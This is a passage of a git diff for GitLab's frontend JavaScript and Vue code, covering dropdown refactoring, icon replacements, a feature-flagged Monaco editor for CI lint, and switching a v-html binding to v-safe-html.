+ return createElement('gitlabCiYamlVisualization', {
+ props: {
+ blobData,
+ },
+ });
+ },
+ });
+};
+
document.addEventListener('DOMContentLoaded', () => {
new BlobViewer(); // eslint-disable-line no-new
initBlob();
@@ -63,4 +90,8 @@ document.addEventListener('DOMContentLoaded', () => {
});
}
}
+
+ if (gon?.features?.gitlabCiYmlPreview) {
+ createGitlabCiYmlVisualization();
+ }
});
diff --git a/app/assets/javascripts/pages/projects/branches/index/index.js b/app/assets/javascripts/pages/projects/branches/index/index.js
index 37e8c75f299..623d0a10606 100644
--- a/app/assets/javascripts/pages/projects/branches/index/index.js
+++ b/app/assets/javascripts/pages/projects/branches/index/index.js
@@ -1,4 +1,4 @@
-import AjaxLoadingSpinner from '~/ajax_loading_spinner';
+import AjaxLoadingSpinner from '~/branches/ajax_loading_spinner';
import DeleteModal from '~/branches/branches_delete_modal';
import initDiverganceGraph from '~/branches/divergence_graph';
diff --git a/app/assets/javascripts/pages/projects/ci/lints/ci_lint_editor.js b/app/assets/javascripts/pages/projects/ci/lints/ci_lint_editor.js
index 9ab73be80a0..d270bee25c7 100644
--- a/app/assets/javascripts/pages/projects/ci/lints/ci_lint_editor.js
+++ b/app/assets/javascripts/pages/projects/ci/lints/ci_lint_editor.js
@@ -1,19 +1,48 @@
+import createFlash from '~/flash';
+import { BLOB_EDITOR_ERROR } from '~/blob_edit/constants';
+
export default class CILintEditor {
constructor() {
- this.editor = window.ace.edit('ci-editor');
- this.textarea = document.querySelector('#content');
+ const monacoEnabled = window?.gon?.features?.monacoCi;
this.clearYml = document.querySelector('.clear-yml');
-
- this.editor.getSession().setMode('ace/mode/yaml');
- this.editor.on('input', () => {
- const content = this.editor.getSession().getValue();
- this.textarea.value = content;
- });
-
this.clearYml.addEventListener('click', this.clear.bind(this));
+
+ return monacoEnabled ? this.initEditorLite() : this.initAce();
}
clear() {
this.editor.setValue('');
}
+
+ initEditorLite() {
+ import(/* webpackChunkName: 'monaco_editor_lite' */ '~/editor/editor_lite')
+ .then(({ default: EditorLite }) => {
+ const editorEl = document.getElementById('editor');
+ const fileContentEl = document.getElementById('content');
+ const form = document.querySelector('.js-ci-lint-form');
+
+ const rootEditor = new EditorLite();
+
+ this.editor = rootEditor.createInstance({
+ el: editorEl,
+ blobPath: '.gitlab-ci.yml',
+ blobContent: editorEl.innerText,
+ });
+
+ form.addEventListener('submit', () => {
+ fileContentEl.value = this.editor.getValue();
+ });
+ })
+ .catch(() => createFlash({ message: BLOB_EDITOR_ERROR }));
+ }
+
+ initAce() {
+ this.editor = window.ace.edit('ci-editor');
+ this.textarea = document.getElementById('content');
+
+ this.editor.getSession().setMode('ace/mode/yaml');
+ this.editor.on('input', () => {
+ this.textarea.value = this.editor.getSession().getValue();
+ });
+ }
}
diff --git a/app/assets/javascripts/pages/projects/ci/lints/new/index.js b/app/assets/javascripts/pages/projects/ci/lints/new/index.js
index 8e8a843da0b..02bfee9810f 100644
--- a/app/assets/javascripts/pages/projects/ci/lints/new/index.js
+++ b/app/assets/javascripts/pages/projects/ci/lints/new/index.js
@@ -1,3 +1,11 @@
import CILintEditor from '../ci_lint_editor';
+import initCILint from '~/ci_lint/index';
-document.addEventListener('DOMContentLoaded', () => new CILintEditor());
+document.addEventListener('DOMContentLoaded', () => {
+ if (gon?.features?.ciLintVue) {
+ initCILint();
+ } else {
+ // eslint-disable-next-line no-new
+ new CILintEditor();
+ }
+});
diff --git a/app/assets/javascripts/pages/projects/clusters/new/index.js b/app/assets/javascripts/pages/projects/clusters/new/index.js
new file mode 100644
index 00000000000..876bab0b339
--- /dev/null
+++ b/app/assets/javascripts/pages/projects/clusters/new/index.js
@@ -0,0 +1,5 @@
+import initNewCluster from '~/clusters/new_cluster';
+
+document.addEventListener('DOMContentLoaded', () => {
+ initNewCluster();
+});
diff --git a/app/assets/javascripts/pages/projects/commit/show/index.js b/app/assets/javascripts/pages/projects/commit/show/index.js
index a245af72d93..d5fb2a8be3c 100644
--- a/app/assets/javascripts/pages/projects/commit/show/index.js
+++ b/app/assets/javascripts/pages/projects/commit/show/index.js
@@ -14,24 +14,23 @@ import axios from '~/lib/utils/axios_utils';
import syntaxHighlight from '~/syntax_highlight';
import flash from '~/flash';
import { __ } from '~/locale';
+import loadAwardsHandler from '~/awards_handler';
document.addEventListener('DOMContentLoaded', () => {
const hasPerfBar = document.querySelector('.with-performance-bar');
const performanceHeight = hasPerfBar ? 35 : 0;
+ initChangesDropdown(document.querySelector('.navbar-gitlab').offsetHeight + performanceHeight);
+ new ZenMode();
+ new ShortcutsNavigation();
+ new MiniPipelineGraph({
+ container: '.js-commit-pipeline-graph',
+ }).bindEvents();
+ initNotes();
+ // eslint-disable-next-line no-jquery/no-load
+ $('.commit-info.branches').load(document.querySelector('.js-commit-box').dataset.commitPath);
+ fetchCommitMergeRequests();
+
const filesContainer = $('.js-diffs-batch');
- const initAfterPageLoad = () => {
- new Diff();
- new ZenMode();
- new ShortcutsNavigation();
- new MiniPipelineGraph({
- container: '.js-commit-pipeline-graph',
- }).bindEvents();
- initNotes();
- initChangesDropdown(document.querySelector('.navbar-gitlab').offsetHeight + performanceHeight);
- // eslint-disable-next-line no-jquery/no-load
- $('.commit-info.branches').load(document.querySelector('.js-commit-box').dataset.commitPath);
- fetchCommitMergeRequests();
- };
if (filesContainer.length) {
const batchPath = filesContainer.data('diffFilesPath');
@@ -42,12 +41,13 @@ document.addEventListener('DOMContentLoaded', () => {
filesContainer.html($(data.html));
syntaxHighlight(filesContainer);
handleLocationHash();
- initAfterPageLoad();
+ new Diff();
})
.catch(() => {
flash(__('An error occurred while retrieving diff files'));
});
} else {
- initAfterPageLoad();
+ new Diff();
}
+ loadAwardsHandler();
});
diff --git a/app/assets/javascripts/pages/projects/constants.js b/app/assets/javascripts/pages/projects/constants.js
index 9efbf7cd36e..8dc765e5d10 100644
--- a/app/assets/javascripts/pages/projects/constants.js
+++ b/app/assets/javascripts/pages/projects/constants.js
@@ -1,5 +1,3 @@
-/* eslint-disable import/prefer-default-export */
-
export const ISSUABLE_INDEX = {
MERGE_REQUEST: 'merge_request_',
ISSUE: 'issue_',
diff --git a/app/assets/javascripts/pages/projects/environments/show/index.js b/app/assets/javascripts/pages/projects/environments/show/index.js
index 10e3e28f024..5d3a153cbd1 100644
--- a/app/assets/javascripts/pages/projects/environments/show/index.js
+++ b/app/assets/javascripts/pages/projects/environments/show/index.js
@@ -1,3 +1,3 @@
import initShowEnvironment from '~/environments/mount_show';
-document.addEventListener('DOMContentLoaded', () => initShowEnvironment());
+document.addEventListener('DOMContentLoaded', initShowEnvironment);
diff --git a/app/assets/javascripts/pages/projects/forks/new/components/fork_groups_list_item.vue b/app/assets/javascripts/pages/projects/forks/new/components/fork_groups_list_item.vue
index b4816fa2cb3..57838050d55 100644
--- a/app/assets/javascripts/pages/projects/forks/new/components/fork_groups_list_item.vue
+++ b/app/assets/javascripts/pages/projects/forks/new/components/fork_groups_list_item.vue
@@ -7,6 +7,7 @@ import {
GlTooltipDirective,
GlTooltip,
GlBadge,
+ GlSafeHtmlDirective as SafeHtml,
} from '@gitlab/ui';
import { VISIBILITY_TYPE_ICON, GROUP_VISIBILITY_TYPE } from '~/groups/constants';
import { __ } from '~/locale';
@@ -23,6 +24,7 @@ export default {
},
directives: {
GlTooltip: GlTooltipDirective,
+ SafeHtml,
},
props: {
group: {
@@ -119,7 +121,7 @@ export default {
</span>
</div>
<div v-if="group.description" class="description">
- <span v-html="group.markdown_description"> </span>
+ <span v-safe-html="group.markdown_description"> </span>
</div>
</div>
<div class="gl-display-flex gl-flex-shrink-0">
diff --git a/app/assets/javascripts/pages/projects/graphs/charts/index.js b/app/assets/javascripts/pages/projects/graphs/charts/index.js
index 09b440d1413..384216f29eb 100644
--- a/app/assets/javascripts/pages/projects/graphs/charts/index.js
+++ b/app/assets/javascripts/pages/projects/graphs/charts/index.js
@@ -1,154 +1,155 @@
import Vue from 'vue';
import { GlColumnChart } from '@gitlab/ui/dist/charts';
+import { waitForCSSLoaded } from '../../../../helpers/startup_css_helper';
import { __ } from '~/locale';
import CodeCoverage from '../components/code_coverage.vue';
import SeriesDataMixin from './series_data_mixin';
document.addEventListener('DOMContentLoaded', () => {
- const languagesContainer = document.getElementById('js-languages-chart');
- const codeCoverageContainer = document.getElementById('js-code-coverage-chart');
- const monthContainer = document.getElementById('js-month-chart');
- const weekdayContainer = document.getElementById('js-weekday-chart');
- const hourContainer = document.getElementById('js-hour-chart');
+ waitForCSSLoaded(() => {
+ const languagesContainer = document.getElementById('js-languages-chart');
+ const codeCoverageContainer = document.getElementById('js-code-coverage-chart');
+ const monthContainer = document.getElementById('js-month-chart');
+ const weekdayContainer = document.getElementById('js-weekday-chart');
+ const hourContainer = document.getElementById('js-hour-chart');
+ const LANGUAGE_CHART_HEIGHT = 300;
+ const reorderWeekDays = (weekDays, firstDayOfWeek = 0) => {
+ if (firstDayOfWeek === 0) {
+ return weekDays;
+ }
- const LANGUAGE_CHART_HEIGHT = 300;
+ return Object.keys(weekDays).reduce((acc, dayName, idx, arr) => {
+ const reorderedDayName = arr[(idx + firstDayOfWeek) % arr.length];
- const reorderWeekDays = (weekDays, firstDayOfWeek = 0) => {
- if (firstDayOfWeek === 0) {
- return weekDays;
- }
+ return {
+ ...acc,
+ [reorderedDayName]: weekDays[reorderedDayName],
+ };
+ }, {});
+ };
- return Object.keys(weekDays).reduce((acc, dayName, idx, arr) => {
- const reorderedDayName = arr[(idx + firstDayOfWeek) % arr.length];
-
- return {
- ...acc,
- [reorderedDayName]: weekDays[reorderedDayName],
- };
- }, {});
- };
-
- // eslint-disable-next-line no-new
- new Vue({
- el: languagesContainer,
- components: {
- GlColumnChart,
- },
- data() {
- return {
- chartData: JSON.parse(languagesContainer.dataset.chartData),
- };
- },
- computed: {
- seriesData() {
- return { full: this.chartData.map(d => [d.label, d.value]) };
+ // eslint-disable-next-line no-new
+ new Vue({
+ el: languagesContainer,
+ components: {
+ GlColumnChart,
},
- },
- render(h) {
- return h(GlColumnChart, {
- props: {
- data: this.seriesData,
- xAxisTitle: __('Used programming language'),
- yAxisTitle: __('Percentage'),
- xAxisType: 'category',
- },
- attrs: {
- height: LANGUAGE_CHART_HEIGHT,
+ data() {
+ return {
+ chartData: JSON.parse(languagesContainer.dataset.chartData),
+ };
+ },
+ computed: {
+ seriesData() {
+ return { full: this.chartData.map(d => [d.label, d.value]) };
},
- });
- },
- });
+ },
+ render(h) {
+ return h(GlColumnChart, {
+ props: {
+ data: this.seriesData,
+ xAxisTitle: __('Used programming language'),
+ yAxisTitle: __('Percentage'),
+ xAxisType: 'category',
+ },
+ attrs: {
+ height: LANGUAGE_CHART_HEIGHT,
+ },
+ });
+ },
+ });
- // eslint-disable-next-line no-new
- new Vue({
- el: codeCoverageContainer,
- render(h) {
- return h(CodeCoverage, {
- props: {
- graphEndpoint: codeCoverageContainer.dataset?.graphEndpoint,
- },
- });
- },
- });
+ // eslint-disable-next-line no-new
+ new Vue({
+ el: codeCoverageContainer,
+ render(h) {
+ return h(CodeCoverage, {
+ props: {
+ graphEndpoint: codeCoverageContainer.dataset?.graphEndpoint,
+ },
+ });
+ },
+ });
- // eslint-disable-next-line no-new
- new Vue({
- el: monthContainer,
- components: {
- GlColumnChart,
- },
- mixins: [SeriesDataMixin],
- data() {
- return {
- chartData: JSON.parse(monthContainer.dataset.chartData),
- };
- },
- render(h) {
- return h(GlColumnChart, {
- props: {
- data: this.seriesData,
- xAxisTitle: __('Day of month'),
- yAxisTitle: __('No. of commits'),
- xAxisType: 'category',
- },
- });
- },
- });
+ // eslint-disable-next-line no-new
+ new Vue({
+ el: monthContainer,
+ components: {
+ GlColumnChart,
+ },
+ mixins: [SeriesDataMixin],
+ data() {
+ return {
+ chartData: JSON.parse(monthContainer.dataset.chartData),
+ };
+ },
+ render(h) {
+ return h(GlColumnChart, {
+ props: {
+ data: this.seriesData,
+ xAxisTitle: __('Day of month'),
+ yAxisTitle: __('No. of commits'),
+ xAxisType: 'category',
+ },
+ });
+ },
+ });
- // eslint-disable-next-line no-new
- new Vue({
- el: weekdayContainer,
- components: {
- GlColumnChart,
- },
- data() {
- return {
- chartData: JSON.parse(weekdayContainer.dataset.chartData),
- };
- },
- computed: {
- seriesData() {
- const weekDays = reorderWeekDays(this.chartData, gon.first_day_of_week);
- const data = Object.keys(weekDays).reduce((acc, key) => {
- acc.push([key, weekDays[key]]);
- return acc;
- }, []);
- return { full: data };
+ // eslint-disable-next-line no-new
+ new Vue({
+ el: weekdayContainer,
+ components: {
+ GlColumnChart,
},
- },
- render(h) {
- return h(GlColumnChart, {
- props: {
- data: this.seriesData,
- xAxisTitle: __('Weekday'),
- yAxisTitle: __('No. of commits'),
- xAxisType: 'category',
+ data() {
+ return {
+ chartData: JSON.parse(weekdayContainer.dataset.chartData),
+ };
+ },
+ computed: {
+ seriesData() {
+ const weekDays = reorderWeekDays(this.chartData, gon.first_day_of_week);
+ const data = Object.keys(weekDays).reduce((acc, key) => {
+ acc.push([key, weekDays[key]]);
+ return acc;
+ }, []);
+ return { full: data };
},
- });
- },
- });
+ },
+ render(h) {
+ return h(GlColumnChart, {
+ props: {
+ data: this.seriesData,
+ xAxisTitle: __('Weekday'),
+ yAxisTitle: __('No. of commits'),
+ xAxisType: 'category',
+ },
+ });
+ },
+ });
- // eslint-disable-next-line no-new
- new Vue({
- el: hourContainer,
- components: {
- GlColumnChart,
- },
- mixins: [SeriesDataMixin],
- data() {
- return {
- chartData: JSON.parse(hourContainer.dataset.chartData),
- };
- },
- render(h) {
- return h(GlColumnChart, {
- props: {
- data: this.seriesData,
- xAxisTitle: __('Hour (UTC)'),
- yAxisTitle: __('No. of commits'),
- xAxisType: 'category',
- },
- });
- },
+ // eslint-disable-next-line no-new
+ new Vue({
+ el: hourContainer,
+ components: {
+ GlColumnChart,
+ },
+ mixins: [SeriesDataMixin],
+ data() {
+ return {
+ chartData: JSON.parse(hourContainer.dataset.chartData),
+ };
+ },
+ render(h) {
+ return h(GlColumnChart, {
+ props: {
+ data: this.seriesData,
+ xAxisTitle: __('Hour (UTC)'),
+ yAxisTitle: __('No. of commits'),
+ xAxisType: 'category',
+ },
+ });
+ },
+ });
});
});
diff --git a/app/assets/javascripts/pages/projects/integrations/jira/issues/index/index.js b/app/assets/javascripts/pages/projects/integrations/jira/issues/index/index.js
index 260ba69b4bc..534614349bf 100644
--- a/app/assets/javascripts/pages/projects/integrations/jira/issues/index/index.js
+++ b/app/assets/javascripts/pages/projects/integrations/jira/issues/index/index.js
@@ -1,4 +1,4 @@
-import initIssuablesList from '~/issuables_list';
+import initIssuablesList from '~/issues_list';
document.addEventListener('DOMContentLoaded', () => {
initIssuablesList();
diff --git a/app/assets/javascripts/pages/projects/issues/index/index.js b/app/assets/javascripts/pages/projects/issues/index/index.js
index 1711d122080..e1add4a2af3 100644
--- a/app/assets/javascripts/pages/projects/issues/index/index.js
+++ b/app/assets/javascripts/pages/projects/issues/index/index.js
@@ -7,7 +7,7 @@ import UsersSelect from '~/users_select';
import initFilteredSearch from '~/pages/search/init_filtered_search';
import { FILTERED_SEARCH } from '~/pages/constants';
import { ISSUABLE_INDEX } from '~/pages/projects/constants';
-import initIssuablesList from '~/issuables_list';
+import initIssuablesList from '~/issues_list';
import initManualOrdering from '~/manual_ordering';
import { showLearnGitLabIssuesPopover } from '~/onboarding_issues';
diff --git a/app/assets/javascripts/pages/projects/issues/service_desk/index.js b/app/assets/javascripts/pages/projects/issues/service_desk/index.js
index 9304d9b6832..e0c1332796f 100644
--- a/app/assets/javascripts/pages/projects/issues/service_desk/index.js
+++ b/app/assets/javascripts/pages/projects/issues/service_desk/index.js
@@ -1,5 +1,5 @@
import FilteredSearchServiceDesk from './filtered_search';
-import initIssuablesList from '~/issuables_list';
+import initIssuablesList from '~/issues_list';
document.addEventListener('DOMContentLoaded', () => {
const supportBotData = JSON.parse(
diff --git a/app/assets/javascripts/pages/projects/issues/show.js b/app/assets/javascripts/pages/projects/issues/show.js
index 5ac6c17e09d..98ae4e26257 100644
--- a/app/assets/javascripts/pages/projects/issues/show.js
+++ b/app/assets/javascripts/pages/projects/issues/show.js
@@ -1,27 +1,31 @@
+import loadAwardsHandler from '~/awards_handler';
import initIssuableSidebar from '~/init_issuable_sidebar';
import Issue from '~/issue';
import ShortcutsIssuable from '~/behaviors/shortcuts/shortcuts_issuable';
import ZenMode from '~/zen_mode';
import '~/notes/index';
import { store } from '~/notes/stores';
-import initIssueableApp from '~/issue_show';
+import initIssueApp from '~/issue_show/issue';
+import initIncidentApp from '~/issue_show/incident';
import initIssuableHeaderWarning from '~/vue_shared/components/issuable/init_issuable_header_warning';
import initSentryErrorStackTraceApp from '~/sentry_error_stack_trace';
import initRelatedMergeRequestsApp from '~/related_merge_requests';
import initVueIssuableSidebarApp from '~/issuable_sidebar/sidebar_bundle';
+import { parseIssuableData } from '~/issue_show/utils/parse_data';
export default function() {
- initIssueableApp();
+ const { issueType, ...issuableData } = parseIssuableData();
+
+ if (issueType === 'incident') {
+ initIncidentApp(issuableData);
+ } else {
+ initIssueApp(issuableData);
+ }
+
initIssuableHeaderWarning(store);
initSentryErrorStackTraceApp();
initRelatedMergeRequestsApp();
- // This will be removed when we remove the `design_management_moved` feature flag
- // See https://gitlab.com/gitlab-org/gitlab/-/issues/223197
- import(/* webpackChunkName: 'design_management' */ '~/design_management_legacy')
- .then(module => module.default())
- .catch(() => {});
-
import(/* webpackChunkName: 'design_management' */ '~/design_management')
.then(module => module.default())
.catch(() => {});
@@ -34,4 +38,6 @@ export default function() {
} else {
initIssuableSidebar();
}
+
+ loadAwardsHandler();
}
diff --git a/app/assets/javascripts/pages/projects/issues/show/index.js b/app/assets/javascripts/pages/projects/issues/show/index.js
index ce74a6de11f..aef4feef42c 100644
--- a/app/assets/javascripts/pages/projects/issues/show/index.js
+++ b/app/assets/javascripts/pages/projects/issues/show/index.js
@@ -1,4 +1,5 @@
import initSidebarBundle from '~/sidebar/sidebar_bundle';
+import initRelatedIssues from '~/related_issues';
import initShow from '../show';
document.addEventListener('DOMContentLoaded', () => {
@@ -6,4 +7,5 @@ document.addEventListener('DOMContentLoaded', () => {
if (gon.features && !gon.features.vueIssuableSidebar) {
initSidebarBundle();
}
+ initRelatedIssues();
});
diff --git a/app/assets/javascripts/pages/projects/merge_requests/creations/new/target_project_dropdown.js b/app/assets/javascripts/pages/projects/merge_requests/creations/new/target_project_dropdown.js
index b72fe6681df..e9f0e008435 100644
--- a/app/assets/javascripts/pages/projects/merge_requests/creations/new/target_project_dropdown.js
+++ b/app/assets/javascripts/pages/projects/merge_requests/creations/new/target_project_dropdown.js
@@ -1,8 +1,9 @@
import $ from 'jquery';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
export default () => {
const $targetProjectDropdown = $('.js-target-project');
- $targetProjectDropdown.glDropdown({
+ initDeprecatedJQueryDropdown($targetProjectDropdown, {
selectable: true,
fieldName: $targetProjectDropdown.data('fieldName'),
filterable: true,
@@ -16,7 +17,7 @@ export default () => {
$('.mr_target_commit').empty();
const $targetBranchDropdown = $('.js-target-branch');
$targetBranchDropdown.data('refsUrl', $el.data('refsUrl'));
- $targetBranchDropdown.data('glDropdown').clearMenu();
+ $targetBranchDropdown.data('deprecatedJQueryDropdown').clearMenu();
},
});
};
diff --git a/app/assets/javascripts/pages/projects/merge_requests/init_merge_request_show.js b/app/assets/javascripts/pages/projects/merge_requests/init_merge_request_show.js
index 25abb80cfae..11af50169f5 100644
--- a/app/assets/javascripts/pages/projects/merge_requests/init_merge_request_show.js
+++ b/app/assets/javascripts/pages/projects/merge_requests/init_merge_request_show.js
@@ -6,6 +6,7 @@ import howToMerge from '~/how_to_merge';
import initPipelines from '~/commit/pipelines/pipelines_bundle';
import initVueIssuableSidebarApp from '~/issuable_sidebar/sidebar_bundle';
import initSourcegraph from '~/sourcegraph';
+import loadAwardsHandler from '~/awards_handler';
export default function() {
new ZenMode(); // eslint-disable-line no-new
@@ -19,4 +20,5 @@ export default function() {
handleLocationHash();
howToMerge();
initSourcegraph();
+ loadAwardsHandler();
}
diff --git a/app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/pipeline_schedules_callout.vue b/app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/pipeline_schedules_callout.vue
index da96e6f36b4..7a3923dfefd 100644
--- a/app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/pipeline_schedules_callout.vue
+++ b/app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/pipeline_schedules_callout.vue
@@ -1,6 +1,8 @@
<script>
+/* eslint-disable vue/no-v-html */
import Vue from 'vue';
import Cookies from 'js-cookie';
+import { GlIcon } from '@gitlab/ui';
import Translate from '../../../../../vue_shared/translate';
// Full path is needed for Jest to be able to correctly mock this file
import illustrationSvg from '~/pages/projects/pipeline_schedules/shared/icons/intro_illustration.svg';
@@ -12,6 +14,9 @@ const cookieKey = 'pipeline_schedules_callout_dismissed';
export default {
name: 'PipelineSchedulesCallout',
+ components: {
+ GlIcon,
+ },
data() {
return {
docsUrl: document.getElementById('pipeline-schedules-callout').dataset.docsUrl,
@@ -33,7 +38,7 @@ export default {
<div v-if="!calloutDismissed" class="pipeline-schedules-user-callout user-callout">
<div class="bordered-box landing content-block">
<button id="dismiss-callout-btn" class="btn btn-default close" @click="dismissCallout">
- <i aria-hidden="true" class="fa fa-times"> </i>
+ <gl-icon name="close" aria-hidden="true" />
</button>
<div class="svg-container" v-html="illustrationSvg"></div>
<div class="user-callout-copy">
diff --git a/app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/target_branch_dropdown.js b/app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/target_branch_dropdown.js
index 0057700c1b3..4b203891640 100644
--- a/app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/target_branch_dropdown.js
+++ b/app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/target_branch_dropdown.js
@@ -1,4 +1,5 @@
import $ from 'jquery';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
export default class TargetBranchDropdown {
constructor() {
@@ -10,7 +11,7 @@ export default class TargetBranchDropdown {
}
initDropdown() {
- this.$dropdown.glDropdown({
+ initDeprecatedJQueryDropdown(this.$dropdown, {
data: this.formatBranchesList(),
filterable: true,
selectable: true,
diff --git a/app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/timezone_dropdown.js b/app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/timezone_dropdown.js
index a20a0526f12..2a58e015ff1 100644
--- a/app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/timezone_dropdown.js
+++ b/app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/timezone_dropdown.js
@@ -1,3 +1,5 @@
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
+
const defaultTimezone = { name: 'UTC', offset: 0 };
const defaults = {
$inputEl: null,
@@ -42,7 +44,7 @@ export default class TimezoneDropdown {
}
initDropdown() {
- this.$dropdown.glDropdown({
+ initDeprecatedJQueryDropdown(this.$dropdown, {
data: this.timezoneData,
filterable: true,
selectable: true,
diff --git a/app/assets/javascripts/pages/projects/project.js b/app/assets/javascripts/pages/projects/project.js
index bb285635425..2f27814a692 100644
--- a/app/assets/javascripts/pages/projects/project.js
+++ b/app/assets/javascripts/pages/projects/project.js
@@ -8,52 +8,59 @@ import { serializeForm } from '~/lib/utils/forms';
import axios from '~/lib/utils/axios_utils';
import { deprecatedCreateFlash as flash } from '~/flash';
import projectSelect from '../../project_select';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
export default class Project {
constructor() {
const $cloneOptions = $('ul.clone-options-dropdown');
- const $projectCloneField = $('#project_clone');
- const $cloneBtnLabel = $('.js-git-clone-holder .js-clone-dropdown-label');
- const mobileCloneField = document.querySelector(
- '.js-mobile-git-clone .js-clone-dropdown-label',
- );
-
- const selectedCloneOption = $cloneBtnLabel.text().trim();
- if (selectedCloneOption.length > 0) {
- $(`a:contains('${selectedCloneOption}')`, $cloneOptions).addClass('is-active');
- }
+ if ($cloneOptions.length) {
+ const $projectCloneField = $('#project_clone');
+ const $cloneBtnLabel = $('.js-git-clone-holder .js-clone-dropdown-label');
+ const mobileCloneField = document.querySelector(
+ '.js-mobile-git-clone .js-clone-dropdown-label',
+ );
+
+ const selectedCloneOption = $cloneBtnLabel.text().trim();
+ if (selectedCloneOption.length > 0) {
+ $(`a:contains('${selectedCloneOption}')`, $cloneOptions).addClass('is-active');
+ }
- $('a', $cloneOptions).on('click', e => {
- e.preventDefault();
- const $this = $(e.currentTarget);
- const url = $this.attr('href');
- const cloneType = $this.data('cloneType');
-
- $('.is-active', $cloneOptions).removeClass('is-active');
- $(`a[data-clone-type="${cloneType}"]`).each(function() {
- const $el = $(this);
- const activeText = $el.find('.dropdown-menu-inner-title').text();
- const $container = $el.closest('.project-clone-holder');
- const $label = $container.find('.js-clone-dropdown-label');
-
- $el.toggleClass('is-active');
- $label.text(activeText);
+ $('a', $cloneOptions).on('click', e => {
+ e.preventDefault();
+ const $this = $(e.currentTarget);
+ const url = $this.attr('href');
+ const cloneType = $this.data('cloneType');
+
+ $('.is-active', $cloneOptions).removeClass('is-active');
+ $(`a[data-clone-type="${cloneType}"]`).each(function() {
+ const $el = $(this);
+ const activeText = $el.find('.dropdown-menu-inner-title').text();
+ const $container = $el.closest('.project-clone-holder');
+ const $label = $container.find('.js-clone-dropdown-label');
+
+ $el.toggleClass('is-active');
+ $label.text(activeText);
+ });
+
+ if (mobileCloneField) {
+ mobileCloneField.dataset.clipboardText = url;
+ } else {
+ $projectCloneField.val(url);
+ }
+ $('.js-git-empty .js-clone').text(url);
});
+ }
- if (mobileCloneField) {
- mobileCloneField.dataset.clipboardText = url;
- } else {
- $projectCloneField.val(url);
- }
- $('.js-git-empty .js-clone').text(url);
- });
// Ref switcher
- Project.initRefSwitcher();
- $('.project-refs-select').on('change', function() {
- return $(this)
- .parents('form')
- .submit();
- });
+ if (document.querySelector('.js-project-refs-dropdown')) {
+ Project.initRefSwitcher();
+ $('.project-refs-select').on('change', function() {
+ return $(this)
+ .parents('form')
+ .submit();
+ });
+ }
+
$('.hide-no-ssh-message').on('click', function(e) {
Cookies.set('hide_no_ssh_message', 'false');
$(this)
@@ -77,6 +84,7 @@ export default class Project {
.remove();
return e.preventDefault();
});
+
Project.projectSelectDropdown();
}
@@ -104,7 +112,7 @@ export default class Project {
const action = $form.attr('action');
const linkTarget = mergeUrlParams(serializeForm($form[0]), action);
- return $dropdown.glDropdown({
+ return initDeprecatedJQueryDropdown($dropdown, {
data(term, callback) {
axios
.get($dropdown.data('refsUrl'), {
diff --git a/app/assets/javascripts/pages/projects/shared/permissions/components/project_setting_row.vue b/app/assets/javascripts/pages/projects/shared/permissions/components/project_setting_row.vue
index 92d23772565..b7546a6bed7 100644
--- a/app/assets/javascripts/pages/projects/shared/permissions/components/project_setting_row.vue
+++ b/app/assets/javascripts/pages/projects/shared/permissions/components/project_setting_row.vue
@@ -1,5 +1,10 @@
<script>
+import { GlIcon } from '@gitlab/ui';
+
export default {
+ components: {
+ GlIcon,
+ },
props: {
label: {
type: String,
@@ -25,7 +30,7 @@ export default {
<label v-if="label" class="label-bold">
{{ label }}
<a v-if="helpPath" :href="helpPath" target="_blank">
- <i aria-hidden="true" data-hidden="true" class="fa fa-question-circle"> </i>
+ <gl-icon name="question-o" />
</a>
</label>
<span v-if="helpText" class="form-text text-muted"> {{ helpText }} </span> <slot></slot>
diff --git a/app/assets/javascripts/pages/search/show/index.js b/app/assets/javascripts/pages/search/show/index.js
index 85aaaa2c9da..92d01343bd5 100644
--- a/app/assets/javascripts/pages/search/show/index.js
+++ b/app/assets/javascripts/pages/search/show/index.js
@@ -1,3 +1,7 @@
import Search from './search';
+import initStateFilter from '~/search/state_filter';
-document.addEventListener('DOMContentLoaded', () => new Search());
+document.addEventListener('DOMContentLoaded', () => {
+ initStateFilter();
+ return new Search();
+});
diff --git a/app/assets/javascripts/pages/search/show/search.js b/app/assets/javascripts/pages/search/show/search.js
index cc2128490ec..6ff74325a5e 100644
--- a/app/assets/javascripts/pages/search/show/search.js
+++ b/app/assets/javascripts/pages/search/show/search.js
@@ -1,5 +1,5 @@
import $ from 'jquery';
-import '~/gl_dropdown';
+import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
import { deprecatedCreateFlash as Flash } from '~/flash';
import Api from '~/api';
import { __ } from '~/locale';
@@ -20,7 +20,7 @@ export default class Search {
this.eventListeners();
refreshCounts();
- $groupDropdown.glDropdown({
+ initDeprecatedJQueryDropdown($groupDropdown, {
selectable: true,
filterable: true,
filterRemote: true,
@@ -46,7 +46,7 @@ export default class Search {
clicked: () => Search.submitSearch(),
});
- $projectDropdown.glDropdown({
+ initDeprecatedJQueryDropdown($projectDropdown, {
selectable: true,
filterable: true,
filterRemote: true,
diff --git a/app/assets/javascripts/pages/shared/wikis/components/delete_wiki_modal.vue b/app/assets/javascripts/pages/shared/wikis/components/delete_wiki_modal.vue
index a7b7d597fb7..653aad3d2f5 100644
--- a/app/assets/javascripts/pages/shared/wikis/components/delete_wiki_modal.vue
+++ b/app/assets/javascripts/pages/shared/wikis/components/delete_wiki_modal.vue
@@ -1,11 +1,12 @@
<script>
+import { GlButton, GlModal, GlModalDirective } from '@gitlab/ui';
import { escape } from 'lodash';
-import { GlModal, GlModalDirective } from '@gitlab/ui';
import { s__, sprintf } from '~/locale';
export default {
components: {
GlModal,
+ GlButton,
},
directives: {
'gl-modal': GlModalDirective,
@@ -55,14 +56,14 @@ export default {
<template>
<div class="d-inline-block">
- <button
+ <gl-button
